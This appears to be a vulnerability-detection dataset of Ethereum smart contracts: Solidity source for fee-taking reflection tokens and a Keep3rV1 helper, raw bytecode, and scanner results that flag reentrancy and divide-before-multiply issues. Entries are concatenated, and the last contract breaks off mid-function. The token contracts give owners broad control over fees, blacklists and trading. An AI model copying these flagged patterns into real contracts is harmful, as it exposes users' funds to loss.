taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } //Set minimum tokens required to swap. function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } //Set maximum transaction function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } }
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f04614610555578063dd62ed3e14610575578063ea1644d5146105bb578063f2fde38b146105db57600080fd5b8063a2a957bb146104d0578063a9059cbb146104f0578063bfd7928414610510578063c3c8cd801461054057600080fd5b80638f70ccf7116100d15780638f70ccf71461044e5780638f9a55c01461046e57806395d89b411461048457806398a5c315146104b057600080fd5b80637d1db4a5146103ed5780637f2feddc146104035780638da5cb5b1461043057600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461038357806370a0823114610398578063715018a6146103b857806374010ece146103cd57600080fd5b8063313ce5671461030757806349bd5a5e146103235780636b999053146103435780636d8aa8f81461036357600080fd5b80631694505e116101ab5780631694505e1461027457806318160ddd146102ac57806323b872dd146102d15780632fd689e3146102f157600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461024457600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f736600461195f565b6105fb565b005b34801561020a57600080fd5b5060408051808201909152600b81526a151a194810dbdd5b98da5b60aa1b60208201525b60405161023b9190611a24565b60405180910390f35b34801561025057600080fd5b5061026461025f366004611a79565b61069a565b604051901515815260200161023b565b34801561028057600080fd5b50601454610294906001600160a01b031681565b6040516001600160a01b03909116815260200161023b565b3480156102b857600080fd5b50670de0b6b3a76400005b60405190815260200161023b565b3480156102dd57600080fd5b506102646102ec366004611aa5565b6106b1565b3480156102fd57600080fd5b506102c360185481565b34801561031357600080fd5b506040516009815260200161023b565b34801561032f57600080fd5b50601554610294906001600160a01b031681565b34801561034f57600080fd5b506101fc61035e366004611ae6565b61071a565b34801561036f57600080fd5b506101fc61037e366004611b13565b610765565b34801561038f57600080fd5b506101fc6107ad565b3480156103a457600080fd5b506102c36103b3366004611ae6565b6107f8565b3480156103c457600080fd5b506101fc61081a565b3480156103d957600080fd5b506101fc6103e8366004611b2e565b61088e565b3480156103f957600080fd5b506102c360165481565b34801561040f57600080fd5b506102c361041e366004611ae6565b60116020526000908152604090205481565b34801561043c57600080fd5b506000546001600160a01b0316610294565b34801561045a57600080fd5b506101fc610469366004611b13565b6108bd565b34801561047a57600080fd5b506102c360175481565b34801561049057600080fd5b506040805180820190915260038152621510d360ea1b602082015261022e565b3480156104bc57600080fd5b506101fc6104cb366004611b2e565b610905565b3480156104dc57600080fd5b506101fc6104eb366004611b47565b610934565b3480156104fc57600080fd5b5061026461050b366004611a79565b610972565b34801561051c57600080fd5b5061026461052b366004611ae6565b60106020526000908152604090205460ff1681565b34801561054c57600080fd5b506101fc61097f565b34801561056157600080fd5b506101fc610570366004611b79565b6109d3565b34801561058157600080fd5b506102c3610590366004611bfd565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105c757600080fd5b506101fc6105d6366004611b2e565b610a74565b3480156105e757600080fd5b506101fc6105f6366004611ae6565b610aa3565b6000546001600160a01b0316331461062e5760405162461bcd60e51b815260040161062590611c36565b60405180910390fd5b60005b81518110156106965760016010600084848151811061065257610652611c6b565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061068e81611c97565b915050610631565b5050565b60006106a7338484610b8d565b5060015b92915050565b60006106be848484610cb1565b610710843361070b85604051806060016040528060288152602001611db1602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111ed565b610b8d565b5060019392505050565b6000546001600160a01b031633146107445760405162461bcd60e51b815260040161062590611c36565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b0316331461078f5760405162461bcd60e51b815260040161062590611c36565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107e257506013546001600160a01b0316336001600160a01b0316145b6107eb57600080fd5b476107f581611227565b50565b6001600160a01b0381166000908152600260205260408120546106ab90611261565b6000546001600160a01b031633146108445760405162461bcd60e51b815260040161062590611c36565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108b85760405162461bcd60e51b815260040161062590611c36565b601655565b6000546001600160a01b031633146108e75760405162461bcd60e51b815260040161062590611c36565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b0316331461092f5760405162461bcd60e51b815260040161062590611c36565b601855565b6000546001600160a01b0316331461095e5760405162461bcd60e51b815260040161062590611c36565b600893909355600a91909155600955600b55565b60006106a7338484610cb1565b6012546001600160a01b0316336001600160a01b031614806109b457506013546001600160a01b0316336001600160a01b0316145b6109bd57600080fd5b60006109c8306107f8565b90506107f5816112e5565b6000546001600160a01b031633146109fd5760405162461bcd60e51b815260040161062590611c36565b60005b82811015610a6e578160056000868685818110610a1f57610a1f611c6b565b9050602002016020810190610a349190611ae6565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a6681611c97565b915050610a00565b50505050565b6000546001600160a01b03163314610a9e5760405162461bcd60e51b815260040161062590611c36565b601755565b6000546001600160a01b03163314610acd5760405162461bcd60e51b815260040161062590611c36565b6001600160a01b038116610b325760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610625565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bef5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610625565b6001600160a01b038216610c505760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610625565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d155760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610625565b6001600160a01b038216610d775760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610625565b60008111610dd95760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610625565b6000546001600160a01b03848116911614801590610e0557506000546001600160a01b03838116911614155b156110e657601554600160a01b900460ff16610e9e576000546001600160a01b03848116911614610e9e5760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610625565b601654811115610ef05760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610625565b6001600160a01b03831660009081526010602052604090205460ff16158015610f3257506001600160a01b03821660009081526010602052604090205460ff16155b610f8a5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b6064820152608401610625565b6015546001600160a01b0383811691161461100f5760175481610fac846107f8565b610fb69190611cb2565b1061100f5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610625565b600061101a306107f8565b6018546016549192508210159082106110335760165491505b80801561104a5750601554600160a81b900460ff16155b801561106457506015546001600160a01b03868116911614155b80156110795750601554600160b01b900460ff165b801561109e57506001600160a01b03851660009081526005602052604090205460ff16155b80156110c357506001600160a01b03841660009081526005602052604090205460ff16155b156110e3576110d1826112e5565b4780156110e1576110e147611227565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061112857506001600160a01b03831660009081526005602052604090205460ff165b8061115a57506015546001600160a01b0385811691161480159061115a57506015546001600160a01b03848116911614155b15611167575060006111e1565b6015546001600160a01b03858116911614801561119257506014546001600160a01b03848116911614155b156111a457600854600c55600954600d555b6015546001600160a01b0384811691161480156111cf57506014546001600160a01b03858116911614155b156111e157600a54600c55600b54600d555b610a6e8484848461146e565b600081848411156112115760405162461bcd60e51b81526004016106259190611a24565b50600061121e8486611cca565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610696573d6000803e3d6000fd5b60006006548211156112c85760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610625565b60006112d261149c565b90506112de83826114bf565b9392505050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061132d5761132d611c6b565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561138157600080fd5b505afa158015611395573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113b99190611ce1565b816001815181106113cc576113cc611c6b565b6001600160a01b0392831660209182029290920101526014546113f29130911684610b8d565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac9479061142b908590600090869030904290600401611cfe565b600060405180830381600087803b15801561144557600080fd5b505af1158015611459573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b8061147b5761147b611501565b61148684848461152f565b80610a6e57610a6e600e54600c55600f54600d55565b60008060006114a9611626565b90925090506114b882826114bf565b9250505090565b60006112de83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611666565b600c541580156115115750600d54155b1561151857565b600c8054600e55600d8054600f5560009182905555565b60008060008060008061154187611694565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061157390876116f1565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546115a29086611733565b6001600160a01b0389166000908152600260205260409020556115c481611792565b6115ce84836117dc565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161161391815260200190565b60405180910390a3505050505050505050565b6006546000908190670de0b6b3a764000061164182826114bf565b82101561165d57505060065492670de0b6b3a764000092509050565b90939092509050565b600081836116875760405162461bcd60e51b81526004016106259190611a24565b50600061121e8486611d6f565b60008060008060008060008060006116b18a600c54600d54611800565b92509250925060006116c161149c565b905060008060006116d48e878787611855565b919e509c509a509598509396509194505050505091939550919395565b60006112de83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111ed565b6000806117408385611cb2565b9050838110156112de5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610625565b600061179c61149c565b905060006117aa83836118a5565b306000908152600260205260409020549091506117c79082611733565b30600090815260026020526040902055505050565b6006546117e990836116f1565b6006556007546117f99082611733565b6007555050565b600080808061181a606461181489896118a5565b906114bf565b9050600061182d60646118148a896118a5565b905060006118458261183f8b866116f1565b906116f1565b9992985090965090945050505050565b600080808061186488866118a5565b9050600061187288876118a5565b9050600061188088886118a5565b905060006118928261183f86866116f1565b939b939a50919850919650505050505050565b6000826118b4575060006106ab565b60006118c08385611d91565b9050826118cd8583611d6f565b146112de5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610625565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107f557600080fd5b803561195a8161193a565b919050565b6000602080838503121561197257600080fd5b823567ffffffffffffffff8082111561198a57600080fd5b818501915085601f83011261199e57600080fd5b8135818111156119b0576119b0611924565b8060051b604051601f19603f830116810181811085821117156119d5576119d5611924565b6040529182528482019250838101850191888311156119f357600080fd5b938501935b82851015611a1857611a098561194f565b845293850193928501926119f8565b98975050505050505050565b600060208083528351808285015260005b81811015611a5157858101830151858201604001528201611a35565b81811115611a63576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611a8c57600080fd5b8235611a978161193a565b946020939093013593505050565b600080600060608486031215611aba57600080fd5b8335611ac58161193a565b92506020840135611ad58161193a565b929592945050506040919091013590565b600060208284031215611af857600080fd5b81356112de8161193a565b8035801515811461195a57600080fd5b600060208284031215611b2557600080fd5b6112de82611b03565b600060208284031215611b4057600080fd5b5035919050565b60008060008060808587031215611b5d57600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611b8e57600080fd5b833567ffffffffffffffff80821115611ba657600080fd5b818601915086601f830112611bba57600080fd5b813581811115611bc957600080fd5b8760208260051b8501011115611bde57600080fd5b602092830195509350611bf49186019050611b03565b90509250925092565b60008060408385031215611c1057600080fd5b8235611c1b8161193a565b91506020830135611c2b8161193a565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611cab57611cab611c81565b5060010190565b60008219821115611cc557611cc5611c81565b500190565b600082821015611cdc57611cdc611c81565b500390565b600060208284031215611cf357600080fd5b81516112de8161193a565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d4e5784516001600160a01b031683529383019391830191600101611d29565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611d8c57634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611dab57611dab611c81565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220f80e44869345b610cf7d13caec446a1e3a1f7dd1b358b4e876363c9b0e6ff26c64736f6c63430008090033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
1,709
0x80ad49f75b784166c2247b93d3557d9786d2c91b
// SPDX-License-Identifier: MIT pragma solidity ^0.6.12; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint a, uint b) internal pure returns (uint) { uint c = a + b; require(c >= a, "add: +"); return c; } /** * @dev Returns the addition of two unsigned integers, reverting with custom message on overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint a, uint b, string memory errorMessage) internal pure returns (uint) { uint c = a + b; require(c >= a, errorMessage); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on underflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot underflow. */ function sub(uint a, uint b) internal pure returns (uint) { return sub(a, b, "sub: -"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on underflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot underflow. */ function sub(uint a, uint b, string memory errorMessage) internal pure returns (uint) { require(b <= a, errorMessage); uint c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint a, uint b) internal pure returns (uint) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "mul: *"); return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint a, uint b, string memory errorMessage) internal pure returns (uint) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint c = a * b; require(c / a == b, errorMessage); return c; } /** * @dev Returns the integer division of two unsigned integers. * Reverts on division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint a, uint b) internal pure returns (uint) { return div(a, b, "div: /"); } /** * @dev Returns the integer division of two unsigned integers. * Reverts with custom message on division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint a, uint b, string memory errorMessage) internal pure returns (uint) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint a, uint b) internal pure returns (uint) { return mod(a, b, "mod: %"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint a, uint b, string memory errorMessage) internal pure returns (uint) { require(b != 0, errorMessage); return a % b; } } library Math { /** * @dev Returns the largest of two numbers. */ function max(uint256 a, uint256 b) internal pure returns (uint256) { return a >= b ? a : b; } /** * @dev Returns the smallest of two numbers. */ function min(uint256 a, uint256 b) internal pure returns (uint256) { return a < b ? a : b; } /** * @dev Returns the average of two numbers. The result is rounded towards * zero. */ function average(uint256 a, uint256 b) internal pure returns (uint256) { // (a + b) / 2 can overflow, so we distribute return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2); } } interface IChainLinkFeed { function latestAnswer() external view returns (int256); } interface IKeep3rV1 { function totalBonded() external view returns (uint); function bonds(address keeper, address credit) external view returns (uint); function votes(address keeper) external view returns (uint); } contract Keep3rV1Helper { using SafeMath for uint; IChainLinkFeed public constant FASTGAS = IChainLinkFeed(0x169E633A2D1E6c10dD91238Ba11c4A708dfEF37C); IKeep3rV1 public constant KP3R = IKeep3rV1(0x1cEB5cB57C4D4E2b2433641b95Dd330A33185A44); uint constant public BOOST = 25; uint constant public BASE = 10; uint constant public TARGETBOND = 100e18; function getFastGas() external view returns (uint) { return uint(FASTGAS.latestAnswer()); } function bonds(address keeper) public view returns (uint) { return KP3R.bonds(keeper, address(KP3R)).add(KP3R.votes(keeper)); } function getQuoteLimitFor(address origin, uint gasUsed) public view returns (uint) { uint _min = gasUsed.mul(uint(FASTGAS.latestAnswer())); uint _boost = _min.mul(BOOST).div(BASE); // increase by 2.5 uint _bond = Math.min(bonds(origin), TARGETBOND); return Math.max(_min, _boost.mul(_bond).div(TARGETBOND)); } function getQuoteLimit(uint gasUsed) external view returns (uint) { return getQuoteLimitFor(tx.origin, gasUsed); } }
0x608060405234801561001057600080fd5b50600436106100935760003560e01c80638e686d56116100665780638e686d561461011f578063904440bd14610127578063dbbc4a571461012f578063ec342ad014610137578063fe10d7741461013f57610093565b80630421d7f21461009857806305e0b9a0146100d65780632a84797f146100fa578063525ea63114610102575b600080fd5b6100c4600480360360408110156100ae57600080fd5b506001600160a01b038135169060200135610165565b60408051918252519081900360200190f35b6100de610252565b604080516001600160a01b039092168252519081900360200190f35b6100c461026a565b6100c46004803603602081101561011857600080fd5b503561026f565b6100c461027b565b6100c4610288565b6100de610308565b6100c4610320565b6100c46004803603602081101561015557600080fd5b50356001600160a01b0316610325565b6000806101eb73169e633a2d1e6c10dd91238ba11c4a708dfef37c6001600160a01b03166350d25bcd6040518163ffffffff1660e01b815260040160206040518083038186803b1580156101b857600080fd5b505afa1580156101cc573d6000803e3d6000fd5b505050506040513d60208110156101e257600080fd5b5051849061044a565b90506000610205600a6101ff84601961044a565b906104a9565b9050600061022461021587610325565b68056bc75e2d631000006104d4565b90506102468361024168056bc75e2d631000006101ff868661044a565b6104ea565b93505050505b92915050565b731ceb5cb57c4d4e2b2433641b95dd330a33185a4481565b601981565b600061024c3283610165565b68056bc75e2d6310000081565b600073169e633a2d1e6c10dd91238ba11c4a708dfef37c6001600160a01b03166350d25bcd6040518163ffffffff1660e01b815260040160206040518083038186803b1580156102d757600080fd5b505afa1580156102eb573d6000803e3d6000fd5b505050506040513d602081101561030157600080fd5b5051905090565b73169e633a2d1e6c10dd91238ba11c4a708dfef37c81565b600a81565b600061024c731ceb5cb57c4d4e2b2433641b95dd330a33185a446001600160a01b031663d8bff5a5846040518263ffffffff1660e01b815260040180826001600160a01b0316815260200191505060206040518083038186803b15801561038b57600080fd5b505afa15801561039f573d6000803e3d6000fd5b505050506040513d60208110156103b557600080fd5b50516040805163a39744b560e01b81526001600160a01b0386166004820152731ceb5cb57c4d4e2b2433641b95dd330a33185a4460248201819052915163a39744b591604480820192602092909190829003018186803b15801561041857600080fd5b505afa15801561042c573d6000803e3d6000fd5b505050506040513d602081101561044257600080fd5b5051906104fa565b6000826104595750600061024c565b8282028284828161046657fe5b04146104a2576040805162461bcd60e51b815260206004820152600660248201526536bab61d101560d11b604482015290519081900360640190fd5b9392505050565b60006104a28383604051806040016040528060068152602001656469763a202f60d01b81525061053d565b60008183106104e357816104a2565b5090919050565b6000818310156104e357816104a2565b6000828201838110156104a2576040805162461bcd60e51b81526020600482015260066024820152656164643a202b60d01b604482015290519081900360640190fd5b600081836105c95760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561058e578181015183820152602001610576565b50505050905090810190601f1680156105bb5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385816105d557fe5b049594505050505056fea2646970667358221220bf7406bcea3f99476bbf0c840873fd2045fd4206451957f627e7095ba3430a9664736f6c634300060c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
1,710
0xe35b78ed73892e387a7ace87cf9b108430bd80de
/** *Submitted for verification at Etherscan.io on 2021-07-03 */ // SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if(a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract tks is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => User) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1e12 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private constant _name = unicode"tks"; string private constant _symbol = unicode"tks"; uint8 private constant _decimals = 9; uint256 private _taxFee = 4; uint256 private _teamFee = 12; uint256 private _feeRate = 5; uint256 private _feeMultiplier = 1000; uint256 private _launchTime; uint256 private _previousTaxFee = _taxFee; uint256 private _previousteamFee = _teamFee; uint256 private _maxBuyAmount; address payable private _FeeAddress; address payable private _marketingWalletAddress; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private _cooldownEnabled = true; bool private inSwap = false; bool private _useImpactFeeSetter = true; uint256 private buyLimitEnd; mapping (address => bool) private _isExcluded; address[] private _excluded; mapping (address => bool) private _isBlackListedBot; address[] private _blackListedBots; struct User { uint256 buy; uint256 sell; bool exists; } event MaxBuyAmountUpdated(uint _maxBuyAmount); event CooldownEnabledUpdated(bool _cooldown); event FeeMultiplierUpdated(uint _multiplier); event FeeRateUpdated(uint _rate); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor (address payable FeeAddress, address payable marketingWalletAddress) { _FeeAddress = FeeAddress; _marketingWalletAddress = marketingWalletAddress; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[FeeAddress] = true; _isExcludedFromFee[marketingWalletAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if(_taxFee == 0 && _teamFee == 0) return; _previousTaxFee = _taxFee; _previousteamFee = _teamFee; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _teamFee = _previousteamFee; } function setFee(uint256 impactFee) private { uint256 _impactFee = 10; if(impactFee < 10) { _impactFee = 10; } else if(impactFee > 40) { _impactFee = 40; } else { 